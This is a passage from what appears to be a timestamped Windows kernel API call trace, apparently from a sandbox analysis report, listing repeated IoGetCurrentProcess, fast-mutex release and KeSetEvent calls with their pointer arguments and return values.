(FastMutex=0xffffe000001652b0) [0260.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.364] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.364] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.551] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.551] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.614] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.737] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.738] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.378] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0261.848] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.848] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0261.911] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.911] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0261.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.036] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.159] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.663] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.663] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0262.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.394] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0263.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0263.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.020] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0264.036] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.160] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.161] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.863] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0264.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0264.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.364] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.365] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.612] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.737] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.738] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0265.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.800] 